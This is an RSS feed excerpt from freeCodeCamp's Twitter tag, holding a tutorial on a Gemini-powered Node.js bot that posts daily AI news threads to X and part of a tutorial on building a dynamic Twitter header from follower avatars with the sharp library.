<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Twitter - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Twitter - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sat, 16 May 2026 19:39:16 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/twitter/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Create an AI-Powered Bot that Can Post on Twitter/X ]]>
                </title>
                <description>
                    <![CDATA[ These days, everyone wants to be a content creator. But it can be hard to find time to create and curate content, post on social media, build engagement, and grow your brand. And I’m not an exception to this. I wanted to create more content, and had ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-create-an-ai-powered-bot/</link>
                <guid isPermaLink="false">680931204adb8ffdef48642a</guid>
                
                    <category>
                        <![CDATA[ automation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bot ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                    <category>
                        <![CDATA[ gemini ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Arunachalam B ]]>
                </dc:creator>
                <pubDate>Wed, 23 Apr 2025 18:27:44 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745416845372/5eb9963d-e092-4844-99d9-01fa70032169.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>These days, everyone wants to be a content creator. But it can be hard to find time to create and curate content, post on social media, build engagement, and grow your brand.</p>
<p>And I’m not an exception to this. I wanted to create more content, and had an idea based on something I’ve observed. I subscribe to a few technology newsletters, and I read lots of updates every day about the tech ecosystem. But I’ve noticed that many of my peers often don’t seem to be aware of this news. So, I decided to post my top three news stories (especially about AI) on my Twitter/X account every day.</p>
<p>I did this for a couple of weeks, but after that I couldn’t find the time to keep it going. So, I did some research into how I could automate the process, and I found a solution. In this guide, I’ll explain the process so you can use it, too.</p>
<p>By the end of this tutorial, you’ll have created your own AI bot that:</p>
<ul>
<li><p>Fetches data from an API or crawls a webpage</p>
</li>
<li><p>Processes the data using AI</p>
</li>
<li><p>Posts the results on Twitter/X</p>
</li>
</ul>
<p>And the great thing: this entire process is automated.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-build-the-bot">How to Build the Bot</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-step-1-generate-the-twitter-api-key">Step 1: Generate the Twitter API Key</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-2-generate-access-token-and-secret">Step 2: Generate Access Token and Secret</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-3-generate-an-api-key-in-google-gemini">Step 3: Generate an API Key in Google Gemini</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-nodejs-project-setup">Node.js Project Setup</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-step-1-fetch-data-from-the-api">Step 1: Fetch Data from the API</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-2-upload-the-data-as-a-file-to-gemini-api">Step 2: Upload the Data as a File to Gemini API</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-3-prompt-gemini-to-get-the-latest-ai-news">Step 3: Prompt Gemini to Get the Latest AI News</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-4-post-using-the-twitterx-api">Step 4: Post Using the Twitter/X API</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-5-delete-the-file-uploaded-in-the-gemini-api">Step 5: Delete the File Uploaded in the Gemini API</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-result">The Result</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before we begin creating a bot, you’ll need to have the following setup and tools ready to go:</p>
<ul>
<li><a target="_blank" href="https://nodejs.org/en/learn/getting-started/introduction-to-nodejs">NodeJS</a> - A simple NodeJS app to code the bot</li>
</ul>
<p>You’ll also need some API keys, secrets, and tokens. So, you’ll need to have the following accounts created:</p>
<ul>
<li><p><a target="_blank" href="https://developer.x.com/">Twitter Developer</a> – To generate the Twitter/X API keys, secrets, and tokens</p>
</li>
<li><p><a target="_blank" href="https://aistudio.google.com/">Google AI Studio</a> – To generate the Gemini API key</p>
</li>
</ul>
<h2 id="heading-how-to-build-the-bot">How to Build the Bot</h2>
<p>There are a number of steps I’ll walk you through to build your bot.</p>
<p>We’ll start by generating an API Key and Secret so we can use the Twitter/X API. Then we’ll generate an access token and access token secret with “Read and Write” permissions that’ll be able to post in your account. After that we’ll generate an API Key in Google Gemini (we’ll be using the Gemini API to process the data).</p>
<p>With all that taken care of, we’ll start working on the Node.js app. The app will be able to fetch data from an API, process the data using AI, and then post that data in the form of tweets on Twitter/X.</p>
<p>Finally, we’ll automate the entire process and schedule it to run daily.</p>
<h3 id="heading-step-1-generate-the-twitter-api-key">Step 1: Generate the Twitter API Key</h3>
<ol>
<li><p>Navigate to <a target="_blank" href="https://developer.x.com/">Twitter Developer Website</a>.</p>
</li>
<li><p>Click on the “Developer Portal” in the top right:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745152618491/214fe6d6-b699-40bb-8ac0-533b0c72b927.png" alt="Image showing developer portal highlighted" class="image--center mx-auto" width="1865" height="945" loading="lazy"></p>
</li>
<li><p>Signup using your account.</p>
</li>
<li><p>You’ll be asked to fill out a form asking how will you use the Twitter API, and a few basic details. It may take up to 24 hours to get approved. But, it’s approved instantly for me.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745152170917/d2c2ba21-f3f5-4bc6-bdd5-58d222e203e6.png" alt="Form asking how you'll use the Twitter API" class="image--center mx-auto" width="833" height="388" loading="lazy"></p>
</li>
<li><p>After login, Navigate to "Projects and Apps" and under “Overview” click on "Create App":</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745153184830/1a731639-0df2-47e3-baf2-3633e1735a69.png" alt="Create App screen" class="image--center mx-auto" width="691" height="306" loading="lazy"></p>
</li>
<li><p>Enter a name for your app and click “Next” to proceed with creating your app. At the end, you’ll be shown your API Key and Secret. Don’t copy that now.</p>
</li>
<li><p>Click on the project you created from the left side drawer and click on the "Edit" option in “User authentication settings” section.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745153746932/002f3b38-5aaf-43ef-8d7c-0368f141524f.png" alt="Editing the user authentication settings section" class="image--center mx-auto" width="1230" height="719" loading="lazy"></p>
</li>
<li><p>Select “Read and Write” in App Permissions section, “Web App, Automated App or Bot” in Type of App section, and enter your website URL (it can be any URL including http://localhost) in the “Callback URI” and “Website URL”. Then hit “Save”.</p>
</li>
<li><p>Go to “Keys and tokens” tab.</p>
</li>
<li><p>Click on “Regenerate” button in “API Key and Secret” section.</p>
</li>
<li><p>Copy and save the API Key and Secret somewhere securely.</p>
</li>
</ol>
<h3 id="heading-step-2-generate-access-token-and-secret">Step 2: Generate Access Token and Secret</h3>
<ol>
<li><p>Go to “Keys and tokens” tab.</p>
</li>
<li><p>Click on “Generate” or “Regenerate” button in “Access Token and Secret” section.</p>
</li>
<li><p>Copy and save the Access Token and Secret somewhere securely.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745154373207/4309dbcc-1081-46b7-be71-5babf950eae0.png" alt="Generating or regenerating keys and tokens" class="image--center mx-auto" width="1230" height="629" loading="lazy"></p>
</li>
</ol>
<h3 id="heading-step-3-generate-an-api-key-in-google-gemini">Step 3: Generate an API Key in Google Gemini</h3>
<ol>
<li><p>Navigate to <a target="_blank" href="https://aistudio.google.com/">Google AI Studio</a>.</p>
</li>
<li><p>Login to your account.</p>
</li>
<li><p>Click on “Get API Key” button at the top right.</p>
</li>
<li><p>Click on “Create API Key” button.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745154646809/54c4fa1a-097e-4bf6-8a5f-229c01845d28.png" alt="Create API screen" class="image--center mx-auto" width="1802" height="309" loading="lazy"></p>
</li>
<li><p>Copy and save the API Key somewhere securely.</p>
</li>
</ol>
<p>Alright, we are done with creating the necessary API Keys and Secrets for our project. Let’s put on our coding shoes.</p>
<h2 id="heading-nodejs-project-setup">Node.js Project Setup</h2>
<p>There are 5 major steps for this part of the project. They are:</p>
<ol>
<li><p>Fetch data from the API</p>
</li>
<li><p>Upload the data as a file to Gemini API</p>
</li>
<li><p>Prompt Gemini with the uploaded file to get the latest AI news</p>
</li>
<li><p>Post news to Twitter/X using their API</p>
</li>
<li><p>Delete the file uploaded in Gemini API</p>
</li>
</ol>
<p>These are just the snippets of code that can be assembled together to run this project.</p>
<h3 id="heading-step-1-fetch-data-from-the-api">Step 1: Fetch Data from the API</h3>
<p>In my case, I’ll be using <code>techmeme.com</code> to get the latest news. But this site does not offer an API. So, I’ll be downloading the HTML of this site.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="b204531fbfda5e805202b5f5ab5aa55d">
        <script src="https://gist.github.com/arunachalam-b/b204531fbfda5e805202b5f5ab5aa55d.js"></script></div><p> </p>
<p>In the <code>User-Agent</code> header, we pass the value that mimics a browser user agent to avoid potential blocks.</p>
<h3 id="heading-step-2-upload-the-data-as-a-file-to-gemini-api">Step 2: Upload the Data as a File to Gemini API</h3>
<p>Now we need to store this HTML in a separate file. We cannot directly pass the HTML code in the prompt to the Gemini API, as it’ll result in an error. This is because Gemini accepts only a limited number of tokens in this API. The HTML code of any website will always result in huge number of tokens. So, we’ll create a separate file.</p>
<p>Upload the file to the Gemini API. Refer to the file id in the prompt to Gemini.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="5ebfed570c79a0f0faa8c4e42559c673">
        <script src="https://gist.github.com/arunachalam-b/5ebfed570c79a0f0faa8c4e42559c673.js"></script></div><p> </p>
<h3 id="heading-step-3-prompt-gemini-to-get-the-latest-ai-news">Step 3: Prompt Gemini to Get the Latest AI News</h3>
<p>Let’s write a prompt to Gemini asking it to generate top news by referring to the HTML file provided. We’ll ask it to provide a headline, short description, URL, and three relevant hashtags for each tweet. We’ll also give some example data of how it should look. We’ll ask it to generate a structured response by providing the format of the JSON that we want the output to be.</p>
<p>You can use whatever model you want to, but I’ll be using the <code>gemini-2.5-pro-exp-03-25</code> model for this use case. I’m using this model because we need a thinking model that thinks and picks the correct top news – not just one that predicts the next token/word. The Gemini 2.5 Pro model best qualifies for this.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="466449de313bcbc4241eaf3b6e1646a7">
        <script src="https://gist.github.com/arunachalam-b/466449de313bcbc4241eaf3b6e1646a7.js"></script></div><p> </p>
<h3 id="heading-step-4-post-using-the-twitterx-api">Step 4: Post Using the Twitter/X API</h3>
<p>Here’s the core of our app. We need to post all the tweets we received from Gemini. We’ll be posting the tweet as a thread. This means that the first tweet will be the root tweet and subsequent tweets will be in the comments of the prior tweet. This makes it a thread.</p>
<p>To do this, we’ll take the id of each tweet after it’s posted and pass it on to the next tweet as a reference. One additional thing to note here is, after each successful tweet, we’ll give a pause of 5 seconds before posting the next tweet. There are few reasons for doing it this way.</p>
<ol>
<li><p>When any script runs, it usually runs at a much higher speed (usually in milliseconds). So, the second tweet may get posted before the first tweet was posted (maybe due to some poor internet connection). Also, I believe Twitter implements some queue system which may quickly process the second tweet before your first. So it’s always better to leave a small gap – if not 5 seconds then at least 1 second</p>
</li>
<li><p>Twitter may have implemented some rate limiting mechanism. So if there are multiple request received from a same IP within a short time frame, they may block the IP and consider your account as spam.</p>
</li>
<li><p>Since we’re using a Free tier API, we are limited to 1500 tweets per month. If you’ve paid for this API, you won’t have to worry about this (since you’ll have a higher limit and the rate limiting mechanism –refer to point #2 – might not be applicable). All of this depends on their <a target="_blank" href="https://docs.x.com/x-api/introduction#access-levels">pricing</a>, so just refer to that and make your call accordingly.</p>
</li>
</ol>
<p>I’m using the free tier, and since it’s a hobby project, having a 5 seconds wait time makes sense. I have not faced any issues so far with this.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="b049fda9e567bc68c7fb33de0ce67cd3">
        <script src="https://gist.github.com/arunachalam-b/b049fda9e567bc68c7fb33de0ce67cd3.js"></script></div><p> </p>
<h3 id="heading-step-5-delete-the-file-uploaded-in-the-gemini-api">Step 5: Delete the File Uploaded in the Gemini API</h3>
<p>After posting all the tweets, it’s time to clean up the system. The only thing we need to do as a clean up is delete the uploaded file. It’s always a best practice to remove an unused file that’s no longer needed. And since we’ve already posted the tweets, we no longer need that file. So, we’ll be deleting it in this step.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="741c5b13603187c76905f7b349661293">
        <script src="https://gist.github.com/arunachalam-b/741c5b13603187c76905f7b349661293.js"></script></div><p> </p>
<p>That’s it. We’re all done. You just need to copy these blocks of code into an <code>index.js</code> file and install some dependencies into the project and you should be good to go.</p>
<p>To make this even more simple, I have created a repo and made it public. Here’s the <a target="_blank" href="https://github.com/arunachalam-b/existential-crisis-alert-bot">Github repo URL</a>. You just need to clone the repo, install the dependencies, and run the <code>post</code> command</p>
<pre><code class="lang-plaintext">git clone https://github.com/arunachalam-b/existential-crisis-alert-bot.git
cd existential-crisis-alert-bot
npm i
</code></pre>
<p>Create a .env file and update your API keys and secrets in that file:</p>
<pre><code class="lang-plaintext">GEMINI_API_KEY=
TWITTER_API_KEY=
TWITTER_API_SECRET=
TWITTER_ACCESS_TOKEN=
TWITTER_ACCESS_TOKEN_SECRET=
</code></pre>
<p>Run the following command to post the latest AI news to your account:</p>
<pre><code class="lang-plaintext">npm run post
</code></pre>
<h3 id="heading-the-result">The Result</h3>
<p>Here’s a sample output of that command:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745169397786/14e08ef8-dba5-45e0-a5d5-f3c6135c6347.png" alt="Output" class="image--center mx-auto" width="604" height="308" loading="lazy"></p>
<p>You can modify the code/prompt to fetch data from a different API and post the top results in your Twitter account.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>I hope you now understand how you can automate a slightly complex process using AI and some APIs. Just note that this example is not completely automated. You still have to manually run the command everyday to post the tweets.</p>
<p>But you can automate that process as well. Just drop me a message if you wish to know about that. That topic itself deserves to be a separate tutorial. Also, I would request that you give a star for my project if you enjoyed this tutorial.</p>
<p>Meanwhile, you can follow my <a target="_blank" href="https://x.com/AI_Techie_Arun">Twitter/X account</a> to receive the top AI news everyday. If you wish to learn more about automation, subscribe to my email newsletter (<a target="_blank" href="https://5minslearn.gogosoon.com/?ref=fcc_automated_tweet">https://5minslearn.gogosoon.com/</a>) and follow me on social media.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Create a Dynamic Twitter Header ]]>
                </title>
                <description>
                    <![CDATA[ In mid-2021, a new Twitter design trend emerged: dynamically updated headers. Developers decided that static headers were boring, and dynamic Twitter headers were the way to go. Ever since then, many developers (including me) have been creating dynam... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/create-a-dynamic-twitter-header/</link>
                <guid isPermaLink="false">66d4614c55db48792eed3f9f</guid>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ projects ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Spruce Emmanuel ]]>
                </dc:creator>
                <pubDate>Mon, 11 Oct 2021 14:50:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/10/Group-1--2-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In mid-2021, a new Twitter design trend emerged: dynamically updated headers. Developers decided that static headers were boring, and dynamic Twitter headers were the way to go.</p>
<p>Ever since then, many developers (including me) have been creating dynamic banners on Twitter. But what does this actually mean?</p>
<p>The idea is to use an image processing library to create and add multiple images together programmatically and then upload the final version on Twitter</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Group-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This idea has opened many possibilities for Twitter folks, as you can now use Twitter headers to showcase or advertise anything you want.</p>
<p>In fact some developers have turned this to a SaaS product. But in my case I just wanted to keep it minimal and only display my current followers and a custom greeting message. This is the final result of what we'll be building here:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/Web-capture_6-10-2021_84628_twitter.com.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>In this tutorial you'll learn how to create a Twitter banner that's updated dynamically with your current followers' profile pictures every 60 seconds.</p>
<p>So what do you need to know to follow along with this tutorial? Some basic knowledge of Node.js and JavaScript will be extremely helpful so you can get the most out of what we learn here.</p>
<h1 id="heading-getting-started">Getting Started</h1>
<p>To create our dynamic twitter header we are going to use <code>Nodejs</code> and the <code>sharp</code> image processing library. We'll use <code>sharp</code> to create and merge pieces of our dynamic header together.</p>
<p>To start, you are going to need a new banner. For this you can use your favorite image editing software, but in my case I used Figma.</p>
<p>I opened Figma and created a new Twitter banner that's <code>1500px x 500px</code>. Then I added dummy boxes and text to visualize where I was going to place things with <code>sharp</code> later on.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--3-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-create-a-twitter-app">How to Create a Twitter app</h2>
<p>To continue you are going to need a Twitter Developer account. A developer account lets you interact with the Twitter API. If you don't have a developer account yet, head over to the <a target="_blank" href="https://developer.twitter.com/en/portal/dashboard">Twitter Developer Portal</a> and create one.</p>
<p>To fully interact with the Twitter API like pulling tweets or pulling followers you will need some ACCESS keys.</p>
<p>To get those access keys, you will need to create a Twitter app. So login to your dashboard and create a new Twitter app with a unique name. Once you are done click on the <code>keys and tokens</code> tab.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--11-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Copy your access tokens and save them to your clipboard or a text file for now. Then click on <code>Generate secrets</code>, and copy those as well.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--15-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Also, it is important that you update your twitter app permissions by clicking on the "Edit" button:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--12-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Once you have clicked the edit button, go ahead and select the Read and Write Direct Messages permission:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--13-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-set-up-the-project">How to Set Up The Project</h2>
<p>Open your code editor, and once you are in your directory of choice, open your terminal. I use the Visual Studio Code integrated terminal. Go ahead and create a new directory:</p>
<pre><code class="lang-js">mkdir twitter-banner
</code></pre>
<p>Then you have to <code>cd</code> your way into that new directory, so go ahead and run:</p>
<pre><code class="lang-js">cd twitter-banner
</code></pre>
<p>Once you are in that directory, let's create our Node.js project by running this command:</p>
<pre><code class="lang-js">npm init -y
</code></pre>
<p>Right now you have an empty Nodejs project, so let's go ahead and install all the dependencies we'll need.</p>
<p>Still on the project directory and in your terminal run the following:</p>
<pre><code class="lang-js">npm i dotenv axios sharp twitter-api-client
</code></pre>
<p>We'll use <code>dotenv</code> to read our environmental variables. <code>axios</code> lets us download remote images. The <code>twitter-api-client</code> is what we'll use to establish and communicate with Twitter. And finally <code>sharp</code> is an image processing library which we'll use in this tutorial to create our dynamic header.</p>
<p>Before you can continue, you'll need to create a <code>.env</code> file and add your access keys and secrets that you copied from Twitter earlier on:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--10-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Create an <code>index.js</code> file with the following code:</p>
<pre><code class="lang-js"><span class="hljs-comment">// step 1</span>
<span class="hljs-keyword">const</span> dotenv = <span class="hljs-built_in">require</span>(<span class="hljs-string">"dotenv"</span>);
dotenv.config();
<span class="hljs-keyword">const</span> { TwitterClient } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"twitter-api-client"</span>);
<span class="hljs-keyword">const</span> axios = <span class="hljs-built_in">require</span>(<span class="hljs-string">"axios"</span>);
<span class="hljs-keyword">const</span> sharp = <span class="hljs-built_in">require</span>(<span class="hljs-string">"sharp"</span>);

<span class="hljs-comment">// step 2</span>
<span class="hljs-keyword">const</span> twitterClient = <span class="hljs-keyword">new</span> TwitterClient({
  <span class="hljs-attr">apiKey</span>: process.env.API_KEY,
  <span class="hljs-attr">apiSecret</span>: process.env.API_SECRET,
  <span class="hljs-attr">accessToken</span>: process.env.ACCESS_TOKEN,
  <span class="hljs-attr">accessTokenSecret</span>: process.env.ACCESS_SECRET,
});

<span class="hljs-comment">// step 3</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get_followers</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> followers = <span class="hljs-keyword">await</span> twitterClient.accountsAndUsers.followersList({
    <span class="hljs-attr">count</span>: <span class="hljs-number">3</span>,
  });

  <span class="hljs-built_in">console</span>.log(followers);
}

<span class="hljs-comment">// call function</span>
get_followers()
</code></pre>
<p>In this code, we import our installed dependencies and store them in variables, for example <code>sharp = require("sharp")</code>.</p>
<p>In the second step we connected to Twitter.</p>
<p>And lastly we created a function <code>get_followers()</code>. Using our <code>twitter-api-client</code> we fetched our followers, and using the <code>count</code> parameter we restricted the fetch to only <code>3</code> followers.</p>
<p>💡 Here's a tip: If you live in a country where Twitter is not currently available (like I do) you <a target="_blank" href="https://www.freecodecamp.org/news/securing-your-network-connections-using-openvpn/">may want to install a VPN</a> on your system.</p>
<p>Now open your <code>package.json</code> file and add a start script <code>"start": "node index.js"</code> like so:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--8-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Now run <code>npm start</code>, and if everything works fine you should see your 3 followers printed on the console:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/09/Screenshot--9-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-fetch-followers-from-twitter">How to Fetch Followers from Twitter</h2>
<p>To kick things off, we'll start by fetching our recent followers from Twitter which we already did in the last section. Just edit your <code>index.js</code> file with the following code:</p>
<pre><code class="lang-js">...
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get_followers</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> followers = <span class="hljs-keyword">await</span> twitterClient.accountsAndUsers.followersList({
    <span class="hljs-attr">screen_name</span>: process.env.TWITTER_HANDLE,
    <span class="hljs-attr">count</span>: <span class="hljs-number">3</span>,
  });

  <span class="hljs-keyword">const</span> image_data = [];
  <span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">const</span> get_followers_img = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
    followers.users.forEach(<span class="hljs-function">(<span class="hljs-params">follower, index,arr</span>) =&gt;</span> {
      process_image(
        follower.profile_image_url_https,
        <span class="hljs-string">`<span class="hljs-subst">${follower.screen_name}</span>.png`</span>
      ).then(<span class="hljs-function">() =&gt;</span> {
        <span class="hljs-keyword">const</span> follower_avatar = {
          <span class="hljs-attr">input</span>: <span class="hljs-string">`<span class="hljs-subst">${follower.screen_name}</span>.png`</span>,
          <span class="hljs-attr">top</span>: <span class="hljs-number">380</span>,
          <span class="hljs-attr">left</span>: <span class="hljs-built_in">parseInt</span>(<span class="hljs-string">`<span class="hljs-subst">${<span class="hljs-number">1050</span> + <span class="hljs-number">120</span> * index}</span>`</span>),
        };
        image_data.push(follower_avatar);
        count++;
        <span class="hljs-keyword">if</span> (count === arr.length) resolve();
      });

    });
  });


Let<span class="hljs-string">'s break down this code a bit: first we created a function `get_followers()`. Inside the function we fetched our recent followers and saved them in the variable `followers`. Next we created a new `Promise` called `get_followers_img` and for each of the followers we called a function `process_img()`:

```js
process_image(
        follower.profile_image_url_https,
        `${follower.screen_name}-${index}.png`
      )</span>
</code></pre>
<p>The function takes in two parameters: the follower image URL and the name of the image (for which we used the follower's screen name <code>${follower.screen_name}.png</code>).</p>
<p>Another thing I wanted to point out is the <code>follower_img_data</code>. Remember when I said we'd be creating and adding multiple images together? To do this in <code>sharp</code> you need three properties:</p>
<ol>
<li><p>input: The path to the file</p>
</li>
<li><p>top: Vetical position of the image</p>
</li>
<li><p>left: Horizontal position</p>
</li>
</ol>
<p>We push each of the <code>follower_img_data</code> to our <code>image_data</code> array:</p>
<pre><code class="lang-js">image_data.push(follower_img_data);
</code></pre>
<p>Lastly we check if all processes are complete and then resolve:</p>
<pre><code class="lang-js">...
count++;
<span class="hljs-keyword">if</span> (count === arr.length) resolve();
</code></pre>
<h2 id="heading-how-to-process-the-images">How to Process the Images</h2>
<p>In the previous step we called a function <code>process_img()</code> that we have not yet created. In this step we'll create that function.</p>
<p>In your <code>index.js</code> create the function with the following code:</p>
<pre><code class="lang-js">...
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">process_image</span>(<span class="hljs-params">url, image_path</span>) </span>{
  <span class="hljs-keyword">await</span> axios({
    url,
    <span class="hljs-attr">responseType</span>: <span class="hljs-string">"arraybuffer"</span>,
  }).then(
    <span class="hljs-function">(<span class="hljs-params">response</span>) =&gt;</span>
      <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> rounded_corners = <span class="hljs-keyword">new</span> Buffer.from(
          <span class="hljs-string">'&lt;svg&gt;&lt;rect x="0" y="0" width="100" height="100" rx="50" ry="50"/&gt;&lt;/svg&gt;'</span>
        );
        resolve(
          sharp(response.data)
            .resize(<span class="hljs-number">100</span>, <span class="hljs-number">100</span>)
            .composite([
              {
                <span class="hljs-attr">input</span>: rounded_corners,
                <span class="hljs-attr">blend</span>: <span class="hljs-string">"dest-in"</span>,
              },
            ])
            .png()
            .toFile(image_path)
        );
      })
  );
}
</code></pre>
<p><code>sharp</code> doesn't support the use of remote images (images not stored on your filesystem), so we'll use <code>axios</code> to download the remote images from Twitter. Then finally when our promises are resolved will use <code>sharp</code> to resize and save the images in Buffer to our file system using <code>toFile(image_path)</code>.</p>
<blockquote>
<p>Note: Buffer here refers to memory storage used to temporarily store data (and in our case images). You can use this data as if it was in your filesystem.</p>
</blockquote>
<p>You'll also notice we created a variable <code>rounded_corners</code> in which we drew a rectangle with svg:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> rounded_corners = <span class="hljs-keyword">new</span> Buffer.from(<span class="hljs-string">'
    &lt;svg&gt;
        &lt;rect x="0" y="0" width="100" height="100" rx="50" ry="50"/&gt;
    &lt;/svg&gt;
'</span>);
</code></pre>
<p>To make our created rectangle mimic a rounded image, it has to:</p>
<ul>
<li><p>have the same size as our resized image <code>100</code></p>
</li>
<li><p>have its vertical and horizontal radius be half the size of our resized image <code>50</code></p>
</li>
</ul>
<h2 id="heading-how-to-create-the-text">How to Create the Text</h2>
<p>Everything has to be an image – even text. To create text with <code>sharp</code> we have to create it as SVG images and save it in Buffer storage. Now in your <code>index.js</code> file create a function called <code>create_text()</code>:</p>
<pre><code class="lang-js">...
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">create_text</span>(<span class="hljs-params">width, height, text</span>) </span>{
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> svg_img = <span class="hljs-string">`
    &lt;svg width="<span class="hljs-subst">${width}</span>" height="<span class="hljs-subst">${height}</span>"&gt;
    &lt;style&gt;
    .text {
      font-size: 64px;
      fill: #000;
      font-weight: 700;
    }
    &lt;/style&gt;
    &lt;text x="0%" y="0%" text-anchor="middle" class="text"&gt;<span class="hljs-subst">${text}</span>&lt;/text&gt;
    &lt;/svg&gt;
    `</span>;
    <span class="hljs-keyword">const</span> svg_img_buffer = Buffer.from(svg_img);
    <span class="hljs-keyword">return</span> svg_img_buffer;
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.log(error);
  }
}
</code></pre>
<p>The function <code>create_text()</code> takes in three parameters:</p>
<ol>
<li><p>width: width of the image</p>
</li>
<li><p>height: height of the image</p>
</li>
<li><p>text: actual text you want to write, e.g. Hello World</p>
</li>
</ol>
<h2 id="heading-how-to-draw-the-twitter-banner">How to Draw the Twitter Banner</h2>
<p>So far so good! We have been creating and processing multiple images, and now comes the fun part: adding those images together to create a new image.</p>
<p>To get started, go back to your <code>get_followers()</code> function and add this at the end:</p>
